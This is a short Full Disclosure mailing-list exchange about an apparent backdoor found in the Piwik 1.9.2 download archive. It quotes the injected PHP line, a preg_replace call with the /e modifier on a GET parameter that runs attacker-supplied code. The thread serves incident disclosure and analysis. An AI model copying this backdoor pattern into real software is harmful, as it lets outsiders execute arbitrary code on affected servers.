Full Disclosure: Re: Possible infection of Piwik 1.9.2 download archive

[Max Grobecker <max () grobecker-wtal de>]

Yep, found later that the /e modifier allows you to execute code ;-)


Am 27.11.2012 12:54, schrieb Christian Sciberras:
> > At the moment I'm trying to figure out the further sense of this code,
> > but it seems that there might also be some kind of backdoor (because of
> > the use of $_GET).
>
> preg_replace("/(.+)/e", $_GET['g'], 'dwm');
>
> You think?
>
>
> Chris.
>
>
> On Mon, Nov 26, 2012 at 9:17 PM, Maximilian Grobecker
> <max () grobecker-wtal de <mailto:max () grobecker-wtal de>> wrote:
>
>     preg_replace("/(.+)/e", $_GET['g'], 'dwm');
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